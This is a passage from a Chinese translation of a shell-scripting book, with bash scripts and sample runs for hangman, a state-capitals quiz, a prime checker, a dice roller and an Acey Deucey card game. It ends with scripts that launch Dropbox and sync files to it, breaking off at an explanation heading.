除了这些测试,成功让 hangman 游戏运行的关键在于:将原始单词中每个已猜字母的位置替换为短横线,然后将结果与原始单词进行比较,原始单词中没有任何字母被替换成短横线 ➍。如果它们不同(即单词中的一个或多个字母现在变成了短横线),则猜测的字母在单词中。举个例子,当单词是cat时,猜测字母aguessed变量的值将是‘-a-’。

编写“猜单词”游戏的关键思想之一是,每次玩家做出正确猜测时,显示给玩家的部分填充单词变量partial都会被重建。由于变量guessed会累积玩家猜测的每个字母,sed转换将原单词中不在guessed字符串中的字母替换为短横线,就能完成这个操作 ➎。

运行脚本

“猜单词”游戏有一个可选参数:如果指定一个数字值作为参数,代码将使用该值作为允许的错误猜测次数,而不是默认的 6 次。Listing 12-4 显示了没有参数的情况下运行 hangman 脚本。

结果

$ hangman

steps from gallows: 6, word so far: -------------
Guess a letter: e

* Great! The letter "e" appears in the word!

guessed: e, steps from gallows: 6, word so far: -e--e--------
Guess a letter: i

* Great! The letter "i" appears in the word!

guessed: ei, steps from gallows: 6, word so far: -e--e--i-----
Guess a letter: o

* Great! The letter "o" appears in the word!

guessed: eio, steps from gallows: 6, word so far: -e--e--io----
Guess a letter: u

* Great! The letter "u" appears in the word!

guessed: eiou, steps from gallows: 6, word so far: -e--e--iou---
Guess a letter: m

* Nope, "m" does not appear in the word.

guessed: eioum, steps from gallows: 5, word so far: -e--e--iou---
Guess a letter: n

* Great! The letter "n" appears in the word!

guessed: eioumn, steps from gallows: 5, word so far: -en-en-iou---
Guess a letter: r

* Nope, "r" does not appear in the word.

guessed: eioumnr, steps from gallows: 4, word so far: -en-en-iou---
Guess a letter: s

* Great! The letter "s" appears in the word!

guessed: eioumnrs, steps from gallows: 4, word so far: sen-en-ious--
Guess a letter: t

* Great! The letter "t" appears in the word!

guessed: eioumnrst, steps from gallows: 4, word so far: sententious--
Guess a letter: l

* Great! The letter "l" appears in the word!

guessed: eioumnrstl, steps from gallows: 4, word so far: sententiousl-
Guess a letter: y

** You've been pardoned!! Well done! The word was "sententiously".

*** New Game! ***

steps from gallows: 6, word so far: ----------
Guess a letter: quit

Listing 12-4:玩 *hangman* shell 脚本游戏

破解脚本

显然,使用 shell 脚本很难展示悬挂图形,所以我们采用了另一种方式,即计算“到达绞刑架的步骤”。不过,如果你有足够的动力,你可以预定义一系列“文本”图形,每一步一个,然后随着游戏进行逐步输出。或者,你也可以选择某种非暴力的替代方式!

注意,尽管可以选择两次相同的单词,但由于默认的单词列表包含 2,882 个不同的单词,发生这种情况的几率不大。不过,如果这是一个问题,选择单词的那一行也可以将所有以前的单词保存在一个变量中,并进行筛选,以确保没有重复的单词。

最后,如果你有动力的话,把猜测的字母列表按字母顺序排序会更好。有几种方法可以实现,但我们会使用 sed|sort

#85 州府问答游戏

一旦你有了从文件中随机选择一行的工具,就没有限制可以编写什么类型的问答游戏了。我们已经整理了美国所有 50 个州的州府列表,可以从 www.nostarch.com/wcss2/ 下载。将文件 state.capitals.txt 保存到你的 /usr/lib/games 目录中。列表 12-5 中的脚本会从文件中随机选择一行,显示州名,然后要求用户输入匹配的首府。

代码

   #!/bin/bash
   # states--A state capital guessing game. Requires the state capitals
   #   data file state.capitals.txt.

   db="/usr/lib/games/state.capitals.txt"     # Format is State[tab]City.

   if [ ! -r "$db" ] ; then
     echo "$0: Can't open $db for reading." >&2
     echo "(get state.capitals.txt" >&2
     echo "save the file as $db and you're ready to play!)" >&2
     exit 1
   fi

   guesses=0; correct=0; total=0

   while [ "$guess" != "quit" ] ; do

     thiskey="$(randomquote $db)"

     # $thiskey is the selected line. Now let's grab state and city info, and
     #   then also have "match" as the all-lowercase version of the city name.

➊   state="$(echo $thiskey | cut -d\   -f1 | sed 's/-/ /g')"
     city="$(echo $thiskey | cut -d\   -f2 | sed 's/-/ /g')"
     match="$(echo $city | tr '[:upper:]' '[:lower:]')"

     guess="??" ; total=$(( $total + 1 )) ;

     echo ""
     echo "What city is the capital of $state?"

     # Main loop where all the action takes place. Script loops until
     #   city is correctly guessed or the user types "next" to
     #   skip this one or "quit" to quit the game.

     while [ "$guess" != "$match" -a "$guess" != "next" -a "$guess" != "quit" ]
     do
       /bin/echo -n "Answer: "
       read guess
       if [ "$guess" = "$match" -o "$guess" = "$city" ] ; then
         echo ""
         echo "*** Absolutely correct! Well done! ***"
         correct=$(( $correct + 1 ))
         guess=$match
       elif [ "$guess" = "next" -o "$guess" = "quit" ] ; then
         echo ""
         echo "$city is the capital of $state." # What you SHOULD have known :)
       else
         echo "I'm afraid that's not correct."
       fi
     done

   done

   echo "You got $correct out of $total presented."
   exit 0

列表 12-5: *states* 问答游戏脚本

工作原理

对于这样一个有趣的游戏,states 只涉及非常简单的脚本编写。数据文件包含州名/首府对,州名和首府名称中的所有空格都被破折号替换,两个字段之间由一个空格分隔。因此,从数据中提取城市和州名非常简单 ➊。

每次猜测都会与城市名的小写版本(match)和正确大写的城市名进行比较,看看是否正确。如果不正确,则该猜测会与两个命令字 nextquit 进行比较。如果其中一个匹配,脚本会显示答案并根据需要提示下一个州或退出。如果都不匹配,猜测将被认为是错误的。

运行脚本

这个脚本没有参数或命令标志。只需启动它并开始游戏!

结果

准备好挑战自己,测试州府知识了吗?列表 12-6 展示了我们的州府知识技能!

$ states

What city is the capital of Indiana?
Answer: Bloomington
I'm afraid that's not correct.
Answer: Indianapolis

*** Absolutely correct! Well done! ***

What city is the capital of Massachusetts?
Answer: Boston

*** Absolutely correct! Well done! ***

What city is the capital of West Virginia?
Answer: Charleston

*** Absolutely correct! Well done! ***

What city is the capital of Alaska?
Answer: Fairbanks
I'm afraid that's not correct.
Answer: Anchorage
I'm afraid that's not correct.
Answer: Nome
I'm afraid that's not correct.
Answer: Juneau

*** Absolutely correct! Well done! ***

What city is the capital of Oregon?
Answer: quit

Salem is the capital of Oregon.
You got 4 out of 5 presented.

列表 12-6:运行 *states* 问答游戏脚本

幸运的是,这个游戏只跟踪最终正确的猜测,而不是你猜错了多少次,或者你是否跳到 Google 查找答案!

破解脚本

这个游戏最大的弱点可能就是它对拼写非常挑剔。一个有用的修改是添加代码来允许模糊匹配,例如,用户输入 Juneu 时能匹配到 Juneau。这可以通过修改过的 Soundex 算法 实现,在该算法中元音被移除,重复的字母被压缩成一个字母(例如,Annapolis 会变成 npls)。这可能对你来说有些过于宽容,但这个概念值得考虑。

和其他游戏一样,提供提示功能也很有用。也许在请求时,提示功能会显示正确答案的第一个字母,并在游戏进行过程中记录使用的提示次数。

尽管这个游戏是为州首府设计的,但修改脚本以处理任何类型的配对数据文件将是微不足道的。例如,使用不同的文件,你可以创建一个意大利词汇测验、一个国家/货币配对测试,或者一个政治家/政党配对测试。正如我们在 Unix 中反复看到的,编写一些合理通用的程序可以让它以有用的甚至是意想不到的方式被重复使用。

#86 这个数字是质数吗?

质数是只能被自身整除的数字,例如 7。另一方面,6 和 8 不是质数。识别单一数字的质数很简单,但当我们处理更大的数字时,情况就变得复杂起来。

有多种数学方法可以判断一个数字是否是质数,但我们还是坚持使用暴力法,尝试所有可能的除数,看看是否有余数为零,正如列表 12-7 所示。

代码

   #!/bin/bash
   # isprime--Given a number, ascertain whether it's a prime. This uses what's
   #   known as trial division: simply check whether any number from 2 to (n/2)
   #   divides into the number without a remainder.

     counter=2
   remainder=1

   if [ $# -eq 0 ] ; then
     echo "Usage: isprime NUMBER" >&2
     exit 1
   fi

   number=$1

   # 3 and 2 are primes, 1 is not.

   if [ $number -lt 2 ] ; then
     echo "No, $number is not a prime"
     exit 0
   fi

   # Now let's run some calculations.

➊ while [ $counter -le $(expr $number / 2) -a $remainder -ne 0 ]
   do
     remainder=$(expr $number % $counter)  # '/' is divide, '%' is remainder
     # echo "  for counter $counter, remainder = $remainder"
     counter=$(expr $counter + 1)
   done

   if [ $remainder -eq 0 ] ; then
     echo "No, $number is not a prime"
   else
     echo "Yes, $number is a prime"
   fi
   exit 0

列表 12-7: *isprime* 脚本

它是如何工作的

这个脚本的核心在于while循环,所以请更仔细地查看它在➊的位置。如果我们尝试的number是 77,那么条件语句将测试以下内容:

while [ 2 -le 38 -a 1 -ne 0 ]

很显然这是错误的:77 不能被 2 整除。每次代码测试一个潜在的除数($counter),如果发现它不能整除,就会计算余数($number % $counter),并将$counter递增 1。脚本按部就班地继续执行。

运行脚本

让我们选几个看起来像是质数的数字,在列表 12-8 中进行测试。

$ isprime 77
No, 77 is not a prime
$ isprime 771
No, 771 is not a prime
$ isprime 701
Yes, 701 is a prime

列表 12-8:运行 *isprime* Shell 脚本并对一些数字进行测试

如果你感兴趣,可以在while循环中取消注释echo语句,查看计算过程,并感受脚本在找出一个能整除该数字且没有余数的除数时的速度——是多快还是多慢。事实上,我们就做这个测试,看看 77 的情况,正如在列表 12-9 中所示。

结果

$ isprime 77
  for counter 2, remainder = 1
  for counter 3, remainder = 2
  for counter 4, remainder = 1
  for counter 5, remainder = 2
  for counter 6, remainder = 5
  for counter 7, remainder = 0
No, 77 is not a prime

列表 12-9:运行 *isprime* 脚本并取消注释调试行

破解脚本

这个脚本中实现数学公式的方式有一些低效的地方,导致它执行得非常慢。例如,考虑while循环的条件。我们一直在计算$(expr $number / 2),而实际上可以只计算一次这个值,并在每次后续迭代中使用计算出来的结果,避免每次都启动一个子 shell 并调用expr来得出与上次迭代相同的结果。

还有一些更智能的算法可以用来测试质数,这些算法值得探索,包括那种非常有趣的埃拉托斯特尼筛法,以及更现代的筛法如桑达拉姆筛法和更复杂的阿特金筛法。可以在线查看它们,并测试一下你的电话号码(没有破折号!)是否是质数。

#87 骰子游戏

这是一个对任何喜欢桌面游戏的人来说都很有用的脚本,特别是像龙与地下城这样的角色扮演游戏。

这些游戏的普遍看法是它们只是不断地掷骰子,实际上这个看法是正确的。这一切都与概率有关,因此有时你会掷一个 20 面骰子,其他时候你会掷六个 6 面骰子。骰子是如此简单的随机数生成器,以至于很多游戏都使用它们,不管是一个骰子、两个(想想大富翁麻烦),还是更多。

它们都很容易建模,这正是清单 12-10 中脚本的作用,允许用户指定需要多少什么样的骰子,然后“掷”出它们,并提供一个总和。

代码

   #!/bin/bash
   # rolldice--Parse requested dice to roll and simulate those rolls.
   #   Examples: d6 = one 6-sided die
   #             2d12 = two 12-sided dice
   #             d4 3d8 2d20 = one 4-side die, three 8-sided, and two 20-sided dice

   rolldie()
   {
     dice=$1
     dicecount=1
     sum=0

     # First step: break down arg into MdN.

➊   if [ -z "$(echo $dice | grep 'd')" ] ; then
       quantity=1
       sides=$dice
     else
       quantity=$(echo $dice | ➋cut -dd -f1)
       if [ -z "$quantity" ] ; then       # User specified dN, not just N.
         quantity=1
       fi
       sides=$(echo $dice | cut -dd -f2)
     fi
     echo "" ; echo "rolling $quantity $sides-sided die"
     # Now roll the dice...

     while [ $dicecount -le $quantity ] ; do
➌     roll=$(( ( $RANDOM % $sides ) + 1 ))
       sum=$(( $sum + $roll ))
       echo " roll #$dicecount = $roll"
       dicecount=$(( $dicecount + 1 ))
     done

     echo I rolled $dice and it added up to $sum
   }

   while [ $# -gt 0 ] ; do
     rolldie $1
     sumtotal=$(( $sumtotal + $sum ))
     shift
   done

   echo ""
   echo "In total, all of those dice add up to $sumtotal"
   echo ""
   exit 0

清单 12-10: *rolldice* 脚本

它是如何工作的

这个脚本围绕一行简单的代码展开,它通过引用$RANDOM ➌来调用 bash 的随机数生成器。这是关键行;其他的只是点缀。

另一个有趣的部分是骰子描述被拆解的地方 ➊,因为脚本支持这三种表示法:3d8d620。这是标准的游戏表示法,为了方便:骰子的数量 + d + 骰子应有的面数。例如,2d6意味着两个 6 面骰子。看看你能否弄明白每种是如何处理的。

对于这么一个简单的脚本,输出还挺多的。你可能想根据自己的喜好调整它,但在这里你可以看到这个语句只是一个方便的方式来验证它是否正确解析了骰子或骰子请求。

哦,还有那个cut调用 ➋?记住,-d表示字段分隔符,因此-dd只是告诉它使用字母d作为分隔符,这是该骰子表示法所需的。

运行脚本

让我们从简单的开始:在清单 12-11 中,我们将使用两个 6 面骰子,就像我们在玩大富翁一样。

$ rolldice 2d6
rolling 2 6-sided die
  roll #1 = 6
  roll #2 = 2
I rolled 2d6 and it added up to 8
In total, all of those dice add up to 8
$ rolldice 2d6
rolling 2 6-sided die
  roll #1 = 4
  roll #2 = 2
I rolled 2d6 and it added up to 6
In total, all of those dice add up to 6

清单 12-11:用一对六面骰子测试 *rolldice* 脚本

注意到第一次“掷”这两个骰子时,它们分别掷出了 6 和 2,但第二次却是 4 和 2。

怎么样,来一局快速的雅兹掷骰吗?够简单的。我们将在清单 12-12 中掷五个六面骰子。

$ rolldice 5d6
rolling 5 6-sided die
  roll #1 = 2
  roll #2 = 1
  roll #3 = 3
  roll #4 = 5
  roll #5 = 2
I rolled 5d6 and it added up to 13
In total, all of those dice add up to 13

清单 12-12:用五个六面骰子测试 *rolldice* 脚本

不算很好的掷骰结果:1、2、2、3、5。如果我们在玩雅兹,我们会保留一对 2,然后重新掷其他所有的。

当你需要掷一组更复杂的骰子时,事情变得更加有趣。在清单 12-13 中,让我们尝试两个 18 面骰子,一个 37 面骰子和一个 3 面骰子(因为我们不必担心 3D 几何形状的限制)。

$ rolldice 2d18 1d37 1d3
rolling 2 18-sided die
  roll #1 = 16
  roll #2 = 14
I rolled 2d18 and it added up to 30
rolling 1 37-sided die
  roll #1 = 29
I rolled 1d37 and it added up to 29
rolling 1 3-sided die
  roll #1 = 2
I rolled 1d3 and it added up to 2
In total, all of those dice add up to 61

清单 12-13:用各种骰子类型运行 *rolldice* 脚本

很酷吧?几次掷骰子后,这一堆杂七杂八的骰子分别掷出了 22、49 和 47。现在你知道了,玩家们!

破解脚本

这个脚本中没有太多可以修改的地方,因为任务本身非常简单。我们唯一的建议是微调程序输出的量。例如,像5d6: 2 3 1 3 7 = 16这样的表示方式会更节省空间。

#88 Acey Deucey

在本章的最后一个脚本中,我们将创建纸牌游戏 Acey Deucey,这意味着我们需要弄清楚如何创建并“洗牌”一副扑克牌,以得到随机化的结果。这很棘手,但你为这个游戏写的函数将为你提供一个通用的解决方案,可以用来制作像 21 点、或者甚至是打扑克和“捉鱼”之类的更复杂游戏。

这个游戏很简单:发两张牌,然后赌下一张翻出来的牌是否在这两张牌的之间。花色无关紧要;只看牌面大小,平局算输。因此,如果你翻出来的是一张红桃 6 和一张黑桃 9,而第三张牌是方块 6,那就是失败。黑桃 4 也是失败。但梅花 7 则是胜利。

所以这里有两个任务:整个牌组的模拟和游戏本身的逻辑,包括询问用户是否要下注。哦,还有一件事:如果发出的两张牌是相同的牌面大小,那就没有意义下注,因为你无法获胜。

这将是一个有趣的脚本。准备好了吗?那么请访问列表 12-14。

代码

   #!/bin/bash
   # aceyduecey: Dealer flips over two cards, and you guess whether the
   #   next card from the deck will rank between the two. For example,
   #   with a 6 and an 8, a 7 is between the two, but a 9 is not.

   function initializeDeck
   {
       # Start by creating the deck of cards.

       card=1
       while [ $card –le 52 ]         # 52 cards in a deck. You knew that, right?
       do
➊       deck[$card]=$card
         card=$(( $card + 1 ))
       done
   }

   function shuffleDeck
   {
 # It's not really a shuffle. It's a random extraction of card values
       #   from the 'deck' array, creating newdeck[] as the "shuffled" deck.

       count=1

       while [ $count != 53 ]
       do
         pickCard
➋       newdeck[$count]=$picked
         count=$(( $count + 1 ))
       done
   }

➌ function pickCard
   {
       # This is the most interesting function: pick a random card from
       #   the deck. Uses the deck[] array to find an available card slot.

       local errcount randomcard

       threshold=10      # Max guesses for a card before we fall through
       errcount=0

       # Randomly pick a card that hasn't already been pulled from the deck
       #   a max of $threshold times. Fall through on fail (to avoid a possible
       #   infinite loop where it keeps guessing the same already dealt card).

➍   while [ $errcount -lt $threshold ]
       do
         randomcard=$(( ( $RANDOM % 52 ) + 1 ))
         errcount=$(( $errcount + 1 ))

         if [ ${deck[$randomcard]} -ne 0 ] ; then
           picked=${deck[$randomcard]}
           deck[$picked]=0    # Picked--remove it.
           return $picked
         fi
       done

       # If we get here, we've been unable to randomly pick a card, so we'll
       #   just step through the array until we find an available card.

       randomcard=1

➎   while [ ${newdeck[$randomcard]} -eq 0 ]
       do
         randomcard=$(( $randomcard + 1 ))
       done

       picked=$randomcard
       deck[$picked]=0      # Picked--remove it.

       return $picked
   }

 function showCard
   {
      # This uses a div and a mod to figure out suit and rank, though
      #   in this game, only rank matters. Still, presentation is
      #   important, so this helps make things pretty.

      card=$1

      if [ $card -lt 1 -o $card -gt 52 ] ; then
        echo "Bad card value: $card"
        exit 1
      fi

      # div and mod -- see, all that math in school wasn't wasted!

➏    suit="$(( ( ( $card - 1) / 13 ) + 1))"
      rank="$(( $card % 13))"

      case $suit in
        1 ) suit="Hearts"   ;;
        2 ) suit="Clubs"    ;;
        3 ) suit="Spades"   ;;
        4 ) suit="Diamonds" ;;
        * ) echo "Bad suit value: $suit"
            exit 1

      esac

      case $rank in
        0 ) rank="King"    ;;
        1 ) rank="Ace"     ;;
        11) rank="Jack"    ;;
        12) rank="Queen"   ;;
      esac

      cardname="$rank of $suit"
   }

➐ function dealCards
   {
       # Acey Deucey has two cards flipped up...

       card1=${newdeck[1]}    # Since deck is shuffled, we take
       card2=${newdeck[2]}    #   the top two cards from the deck
       card3=${newdeck[3]}    #   and pick card #3 secretly.

       rank1=$(( ${newdeck[1]} % 13 ))  # And let's get the rank values
       rank2=$(( ${newdeck[2]} % 13 ))  #   to make subsequent calculations easy.
       rank3=$(( ${newdeck[3]} % 13 ))

       # Fix to make the king: default rank = 0, make rank = 13.

       if [ $rank1 -eq 0 ] ; then
         rank1=13;
       fi
 if [ $rank2 -eq 0 ] ; then
         rank2=13;
       fi
       if [ $rank3 -eq 0 ] ; then
         rank3=13;
       fi

       # Now let's organize them so that card1 is always lower than card2.

➑     if [ $rank1 -gt $rank2 ] ; then
         temp=$card1; card1=$card2; card2=$temp
         temp=$rank1; rank1=$rank2; rank2=$temp
       fi

       showCard $card1 ; cardname1=$cardname
       showCard $card2 ; cardname2=$cardname

       showCard $card3 ; cardname3=$cardname # Shhh, it's a secret for now.

➒     echo "I've dealt:" ; echo "   $cardname1" ; echo "   $cardname2"
   }

   function introblurb
   {
   cat << EOF

   Welcome to Acey Deucey. The goal of this game is for you to correctly guess
   whether the third card is going to be between the two cards I'll pull from
   the deck. For example, if I flip up a 5 of hearts and a jack of diamonds,
   you'd bet on whether the next card will have a higher rank than a 5 AND a
   lower rank than a jack (that is, a 6, 7, 8, 9, or 10 of any suit).

   Ready? Let's go!

   EOF
   }

   games=0
   won=0

   if [ $# -gt 0 ] ; then    # Helpful info if a parameter is specified
     introblurb
   fi

   while [ /bin/true ] ; do

     initializeDeck
     shuffleDeck
     dealCards

     splitValue=$(( $rank2 - $rank1 ))

     if [ $splitValue -eq 0 ] ; then
       echo "No point in betting when they're the same rank!"
       continue
     fi

     /bin/echo -n "The spread is $splitValue. Do you think the next card will "
     /bin/echo -n "be between them? (y/n/q) "
     read answer

     if [ "$answer" = "q" ] ; then
       echo ""
       echo "You played $games games and won $won times."
       exit 0
     fi

     echo "I picked: $cardname3"

     # Is it between the values? Let's test. Remember, equal rank = lose.

➓   if [ $rank3 -gt $rank1 -a $rank3 -lt $rank2 ] ; then # Winner!
       winner=1
     else
       winner=0
     fi

     if [ $winner -eq 1 -a "$answer" = "y" ] ; then
       echo "You bet that it would be between the two, and it is. WIN!"
       won=$(( $won + 1 ))
     elif [ $winner -eq 0 -a "$answer" = "n" ] ; then
       echo "You bet that it would not be between the two, and it isn't. WIN!"
       won=$(( $won + 1 ))
     else
       echo "Bad betting strategy. You lose."
     fi

     games=$(( $games + 1 )) # How many times do you play?

   done

   exit 0

列表 12-14: *aceydeucey* 脚本游戏

它是如何工作的

模拟一副洗牌后的扑克牌并不容易。问题在于如何呈现这些牌本身,以及如何“洗牌”或者将原本整齐有序的牌组随机排序。

为了解决这个问题,我们创建了两个包含 52 个元素的数组:deck[] ➊ 和 newdeck[] ➋。前者是一个有序的卡牌数组,每个值在“被选中”并放入newdeck[]的随机位置时都会被替换为-1。然后,newdeck[]数组就是“洗牌”后的牌组。虽然在这个游戏中我们只会使用前三张牌,但相较于特定的解法,一般的解法更值得探讨。

这意味着这个脚本有些大材小用。不过,嘿,它很有趣。 image

让我们一步步查看这些函数,了解它们是如何工作的。首先,初始化牌组非常简单,正如你翻回去查看initializeDeck函数时看到的那样。

同样,shuffleDeck出奇地简单,因为所有的工作实质上都是在pickCard函数中完成的。shuffleDeck仅仅是遍历deck[]中的 52 个位置,随机选择一个尚未被选中的值,并将其保存到newdeck[]n位置。

我们来看一下 pickCard ➌,因为这部分是洗牌的关键。这个函数分为两个块:第一个尝试随机选择一张可用的牌,并给它 $threshold 次机会成功。随着函数的反复调用,最初的调用总是会成功,但在过程中,一旦 50 张牌已经移入 newdeck[],可能会出现 10 次随机猜测都失败的情况。这就是 ➍ 处的 while 代码块。

一旦 $errcount 等于 $threshold,为了提高性能,我们基本上放弃了这个策略,转而使用第二块代码:逐张检查牌堆,直到找到一张可用的牌。这就是 ➎ 处的代码块。

如果你考虑这个策略的含义,你会意识到,阈值设置得越低,newdeck 的顺序性就越高,特别是在牌堆后期。极端情况下,threshold = 1 将会得到一个有序的牌堆,其中 newdeck[] = deck[]。10 是正确的值吗?这有点超出了本书的范围,但如果有人想通过实验找出最合适的随机性与性能平衡,我们欢迎他们通过邮件联系我们!

showCard 函数很长,但其中大部分行其实只是为了让结果更漂亮。整个牌堆模拟的核心部分包含在 ➏ 处的两行代码中。

对于这个游戏,花色无关紧要,但你可以看到,对于每一张牌的数值,等级会是 0–12,花色会是 0–3。牌的属性只是需要映射到易于用户理解的值上。为了方便调试,梅花 6 的等级是 6,王牌的等级是 1。国王的默认等级是 0,但我们将其调整为等级 13,这样计算才能正确。

dealCards 函数 ➐ 是实际的 Acey Deucey 游戏逻辑所在:之前的所有函数都致力于为任何扑克牌游戏实现有用的功能集。dealCards 函数发出游戏所需的所有三张牌,尽管第三张牌在玩家下注之前是隐藏的。这只是为了简化操作——并不是为了让计算机作弊!在这里,你也可以看到为国王 = 13 的场景单独存储的等级值($rank1$rank2$rank3)。为了简化操作,前两张牌会被排序,使得较低等级的牌总是排在前面。这就是 ➑ 处的 if 代码块。

在 ➒,是时候展示已经发出的牌了。最后一步是展示牌,检查排名是否匹配(如果匹配,我们会跳过提示,让用户决定是否下注),然后测试第三张牌是否在前两张牌之间。这项测试在 ➓ 的代码块中完成。

最后,下注结果是棘手的。如果你赌抽到的牌会在前两张牌之间,结果确实如此,或者你赌它不会在两张牌之间且它没有,那么你就是赢家。否则,你就输了。这个结果会在最后的代码块中得出。

运行脚本

指定任何起始参数,游戏会给你一个简单的玩法说明。否则,你只需直接跳入游戏。

让我们看看示例 12-15 中的介绍。

结果

$ aceydeucey intro

Welcome to Acey Deucey. The goal of this game is for you to correctly guess
whether the third card is going to be between the two cards I'll pull from
the deck. For example, if I flip up a 5 of hearts and a jack of diamonds,
you'd bet on whether the next card will have a higher rank than a 5 AND a
lower rank than a jack (that is, a 6, 7, 8, 9, or 10 of any suit).

Ready? Let's go!

I've dealt:
   3 of Hearts
   King of Diamonds
The spread is 10\. Do you think the next card will be between them? (y/n/q) y
I picked: 4 of Hearts
You bet that it would be between the two, and it is. WIN!

I've dealt:
   8 of Clubs
   10 of Hearts
The spread is 2\. Do you think the next card will be between them? (y/n/q) n
I picked: 6 of Diamonds
You bet that it would not be between the two, and it isn't. WIN!

I've dealt:
   3 of Clubs
   10 of Spades
The spread is 7\. Do you think the next card will be between them? (y/n/q) y
I picked: 5 of Clubs
You bet that it would be between the two, and it is. WIN!

I've dealt:
   5 of Diamonds
   Queen of Spades
The spread is 7\. Do you think the next card will be between them? (y/n/q) q

You played 3 games and won 3 times.

示例 12-15:玩 *aceydeucey* 脚本游戏

破解脚本

关于是否以 10 为阈值足够充分地洗牌这个问题依然存在疑问;这是一个可以明确改进的地方。另一个不确定的地方是是否显示分差(两张卡牌的排名差异)是有益的。当然,在真正的游戏中你是不会这样做的;玩家需要自己弄清楚。

另外,你也可以朝相反的方向进行,计算两张任意卡牌之间的概率。我们来思考一下:任意一张卡牌被抽到的概率是 1/52。如果牌堆中剩下 50 张卡,因为已经发了两张牌,那么任意一张卡被抽到的概率是 1/50。由于花色无关,所以任意不同排名的卡牌出现的机会是 4/50。因此,某一特定分差的概率是(该分差中的卡牌数量 × 4)/50。如果发了 5 和 10,那么分差为 4,因为可能的获胜牌是 6、7、8 或 9。所以获胜的概率是 4 × 4 / 50。明白我们的意思了吗?

最后,像所有基于命令行的游戏一样,界面也可以做得更好。我们将这部分留给你来处理。我们还会留给你一个问题:你可以探索这个方便的扑克牌功能库来开发其他哪些游戏。

第十四章:与云合作

image

过去十年中最显著的变化之一是互联网作为一种设备的崛起,最显著的是基于互联网的数据存储。最初它只是用于备份,但现在随着移动技术的同步崛起,基于云的存储对于日常磁盘使用变得非常有用。使用云的应用包括音乐库(iTunes 的 iCloud)和文件档案(Windows 系统上的 OneDrive 和 Android 设备上的 Google Drive)。

现在一些系统完全围绕云构建。一个例子是谷歌的 Chrome 操作系统,这是一个围绕网页浏览器构建的完整工作环境。十年前,这听起来可能很荒谬,但当你考虑到如今你在浏览器中花费的时间……嗯,库比蒂诺或雷蒙德的那些人再也不会笑了。

云计算非常适合 Shell 脚本的扩展,因此让我们开始吧。本章中的脚本将主要关注 OS X,但这些概念可以很容易地在 Linux 或其他 BSD 系统上复制。

#89 保持 Dropbox 运行

Dropbox 是众多有用的云存储系统之一,尤其受到使用多种设备的用户欢迎,因为它在 iOS、Android、OS X、Windows 和 Linux 平台上都有广泛的支持。理解这一点很重要,虽然 Dropbox 是一个云存储系统,但在你的设备上显示的部分只是一个小型应用,旨在后台运行,将你的系统连接到 Dropbox 的基于互联网的服务器,并提供一个相对简单的用户界面。如果 Dropbox 应用没有在后台运行,我们就无法成功地将文件从计算机备份并同步到 Dropbox。

因此,测试程序是否在运行是通过调用ps来实现的,具体如 Listing 13-1 所示。

代码

   #!/bin/bash
   # startdropbox--Makes sure Dropbox is running on OS X

   app="Dropbox.app"
   verbose=1

   running="$(➊ps aux | grep -i $app | grep -v grep)"

   if [ "$1" = "-s" ] ; then         # -s is for silent mode.
     verbose=0
   fi

   if [ ! -z "$running" ] ; then
     if [ $verbose -eq 1 ] ; then
       echo "$app is running with PID $(echo $running | cut -d\  -f2)"
     fi
   else
     if [ $verbose -eq 1 ] ; then
       echo "Launching $app"
     fi
➋   open -a $app
   fi

   exit 0

Listing 13-1:*startdropbox*脚本

它是如何工作的

脚本中有两行关键代码,分别用➊和➋标出。第一行调用ps命令➊,然后使用一系列grep命令查找指定的应用——Dropbox.app——并同时将自身从结果中过滤掉。如果结果字符串不为零,则表示 Dropbox 程序正在运行并且是守护进程(守护进程是指一种设计用于 24/7 在后台运行并执行不需要用户干预的有用任务的程序),此时我们就完成了。

如果Dropbox.app程序没有运行,那么在 OS X 上调用open ➋可以找到该应用并启动它。

运行脚本

使用-s标志来消除输出时,没有任何内容可见。然而,默认情况下,仍然会有简短的状态输出,如 Listing 13-2 所示。

结果

$ startdropbox
Launching Dropbox.app
$ startdropbox
Dropbox.app is running with PID 22270

Listing 13-2:运行*startdropbox*脚本以启动 Dropbox.app

黑客脚本

对此做的事情不多,但如果你想在 Linux 系统上运行脚本,请确保已从官方 Dropbox 网站安装了官方的 Dropbox 包。你可以通过 startdropbox 来启动 Dropbox(配置完成后)。

#90 同步 Dropbox

使用像 Dropbox 这样的基于云的系统,编写一个脚本来保持文件夹或文件集的同步是显而易见的。Dropbox 通过在系统上模拟本地硬盘驱动器的方式,保持 Dropbox 目录中所有内容在本地和云端的同步。

在清单 13-3 中,syncdropbox 脚本利用这一点,通过提供一种简便的方法将充满文件的目录或指定的文件集复制到 Dropbox 云端。在前一种情况下,目录中的每个文件都会被复制过来;在后一种情况下,指定的每个文件都会被放入 Dropbox 的 sync 文件夹中。

代码

   #!/bin/bash
   # syncdropbox--Synchronize a set of files or a specified folder with Dropbox.
   #   This is accomplished by copying the folder into ~/Dropbox or the set of
   #   files into the sync folder in Dropbox and then launching Dropbox.app
   #   as needed.

 name="syncdropbox"
   dropbox="$HOME/Dropbox"
   sourcedir=""
   targetdir="sync"    # Target folder on Dropbox for individual files

   # Check starting arguments.

   if [ $# -eq 0 ] ; then
     echo "Usage: $0 [-d source-folder] {file, file, file}" >&2
     exit 1
   fi

   if [ "$1" = "-d" ] ; then
     sourcedir="$2"
     shift; shift
   fi

   # Validity checks

   if [ ! -z "$sourcedir" -a $# -ne 0 ] ; then
     echo "$name: You can't specify both a directory and specific files." >&2
     exit 1
   fi

   if [ ! -z "$sourcedir" ] ; then
     if [ ! -d "$sourcedir" ] ; then
       echo "$name: Please specify a source directory with -d." >&2
       exit 1
     fi
   fi

   #######################
   #### MAIN BLOCK
   #######################

   if [ ! -z "$sourcedir" ] ; then
➊   if [ -f "$dropbox/$sourcedir" -o -d "$dropbox/$sourcedir" ] ; then
       echo "$name: Specified source directory $sourcedir already exists." >&2
       exit 1
     fi

     echo "Copying contents of $sourcedir to $dropbox..."
     # -a does a recursive copy, preserving owner info, etc.
     cp -a "$sourcedir" $dropbox
   else
     # No source directory, so we've been given individual files.
     if [ ! -d "$dropbox/$targetdir" ] ; then
       mkdir "$dropbox/$targetdir"
       if [ $? -ne 0 ] ; then
         echo "$name: Error encountered during mkdir $dropbox/$targetdir." >&2
         exit 1
       fi
     fi
     # Ready! Let's copy the specified files.

➋ cp -p -v "$@" "$dropbox/$targetdir"
   fi

   # Now let's launch the Dropbox app to let it do the actual sync, if needed.
   exec startdropbox -s

清单 13-3: *syncdropbox* 脚本

它是如何工作的

